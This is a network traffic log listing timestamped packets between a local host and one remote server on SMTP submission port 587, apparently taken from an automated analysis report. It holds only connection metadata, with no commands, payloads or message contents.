Apr 18, 2024 18:26:29.044004917 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:29.433307886 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:29.434067965 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:29.434299946 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:29.434299946 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:29.434299946 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:29.832439899 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:29.832499027 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:29.832531929 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:29.832562923 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:30.640228987 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:30.702310085 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:31.922877073 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:32.007391930 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:32.340135098 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:32.340739012 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:32.341990948 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:32.397243023 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:32.397327900 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:32.734189034 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:32.734302044 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:33.116924047 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:33.117080927 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:33.419749022 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:33.419884920 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:33.454719067 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:33.455034971 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:33.736985922 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:33.737164974 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:33.791444063 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:33.791925907 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:34.055052996 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:34.055453062 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:34.183104038 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:34.183125973 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:34.183141947 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:34.183216095 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:34.185472965 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:34.387762070 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:34.387785912 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:34.387855053 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:34.387911081 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:34.389353037 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:34.557508945 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:34.560844898 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:34.706255913 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:34.712343931 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:34.941668034 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:34.948618889 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:35.044171095 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:35.044429064 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:35.326103926 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:35.326594114 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:35.378412962 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:35.378684044 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:35.701986074 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:35.736871004 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:35.839416981 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:35.839616060 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:35.852073908 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:35.852278948 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:36.156591892 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:36.156980991 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:36.157413006 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:36.193727016 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:36.194195032 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:36.194468021 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:36.493489981 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:36.493720055 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:36.545013905 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:36.545871019 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:36.810606956 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:36.814660072 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:36.814660072 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:36.814660072 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:36.814759970 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:36.885660887 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:36.887902975 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:36.887986898 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:36.887988091 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:36.888415098 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:36.889955044 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.132206917 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.132289886 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.132327080 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.132358074 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.236850977 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.236890078 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.236923933 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.237046003 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.237078905 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.237126112 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.238790989 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.238823891 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.238856077 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.238857031 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.238924980 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.238948107 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.238960028 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.238996029 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.238996983 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.239033937 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.615617990 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.615703106 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.616036892 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.616086006 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.618099928 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.618156910 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.618216991 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.618248940 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.618275881 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.618304014 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.618371964 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.618434906 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.618449926 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.618482113 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.618508101 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.618514061 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.618545055 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.618580103 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.618709087 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.618741035 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.618763924 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.618772984 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.618798971 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.618846893 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.618849993 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.618880033 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.618938923 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.618954897 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.619064093 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.619069099 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.619127035 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.905204058 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.952490091 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.970099926 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.970202923 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.970236063 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.970330954 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.970521927 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.972613096 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.972646952 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.972740889 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.972774029 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.972774982 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.972827911 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.972922087 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.972954035 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.973076105 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.973181009 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.973218918 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.973293066 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.973325014 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.973330975 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.973362923 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.973390102 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.973429918 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.973462105 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.973539114 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.973568916 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.973571062 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.973593950 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:37.973683119 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.973756075 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.973865986 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.973968983 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.974036932 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.974066973 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.974261999 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:37.974312067 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:38.319473982 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:38.319547892 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:38.321103096 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:38.322314024 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:38.322401047 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:38.322499990 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:38.322981119 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:39.133286953 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:39.186707973 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:47.462595940 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:47.880575895 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:47.881172895 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:57.061939001 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:27:57.494761944 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:27:57.495373964 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:04.690363884 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:05.061522961 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:05.062182903 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:05.744900942 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:05.744963884 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:07.907308102 CEST	49755	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:08.274924040 CEST	587	49755	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:08.275217056 CEST	49755	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:08.661825895 CEST	587	49755	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:08.662033081 CEST	49755	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:09.082036018 CEST	587	49755	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:09.082175016 CEST	49755	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:09.296590090 CEST	49755	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:09.377774000 CEST	49756	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:09.491904020 CEST	587	49755	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:09.491967916 CEST	49755	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:09.696026087 CEST	587	49755	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:09.696083069 CEST	49755	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:09.742306948 CEST	587	49756	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:09.742423058 CEST	49756	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:10.296478033 CEST	49756	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:10.364645958 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:10.422605038 CEST	587	49756	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:10.422764063 CEST	49756	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:10.661952972 CEST	587	49756	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:10.662061930 CEST	49756	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:10.662571907 CEST	587	49756	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:10.663444042 CEST	49756	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:10.780951977 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:10.781105042 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:11.191382885 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:11.191529989 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:11.615143061 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:11.615398884 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:12.033521891 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:12.042386055 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:12.144375086 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:12.456574917 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:12.456589937 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:12.456599951 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:12.456722975 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:12.460372925 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:12.539846897 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:12.540513992 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:12.880669117 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:12.884414911 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:13.039503098 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:13.039908886 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:13.302630901 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:13.302838087 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:13.450272083 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:13.450408936 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:13.714653969 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:13.714900017 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:13.843822956 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:13.844269037 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:14.155355930 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:14.155816078 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:14.281775951 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:14.281801939 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:14.281822920 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:14.281953096 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:14.283466101 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:14.572674990 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:14.572920084 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:14.705096960 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:14.706214905 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:15.004229069 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:15.004573107 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:15.122693062 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:15.122911930 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:15.422216892 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:15.422768116 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:15.422880888 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:15.422899008 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:15.422935963 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:15.424304008 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:15.543231964 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:15.543540001 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:15.836571932 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:15.836595058 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:15.836610079 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:15.836649895 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:15.836694002 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:15.837699890 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:15.837721109 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:15.837763071 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:15.837790012 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:15.837876081 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:15.837915897 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:15.837917089 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:15.837980032 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:15.838213921 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:15.838263035 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:15.969644070 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:15.969923019 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:16.242897034 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.243021965 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:16.243632078 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.243691921 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.243701935 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:16.243750095 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.243777037 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:16.243805885 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.243835926 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:16.243876934 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.243882895 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:16.243910074 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.243997097 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.244049072 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.244074106 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:16.244151115 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.244205952 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:16.244285107 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:16.367254019 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.370801926 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:16.659426928 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.659719944 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.659790039 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.659859896 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:16.659867048 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.659897089 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:16.659946918 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.659984112 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.660135984 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.660168886 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.660264015 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.660327911 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.660399914 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.660487890 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.660531998 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.660598993 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.660691023 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.660748005 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.660820007 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.660902977 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:16.661978006 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.807732105 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:16.859123945 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:16.979922056 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:17.072417021 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:17.072436094 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:17.073322058 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:17.073378086 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:17.073410988 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:17.368767023 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:17.369281054 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:17.369338989 CEST	49758	587	192.168.2.4	94.100.26.91
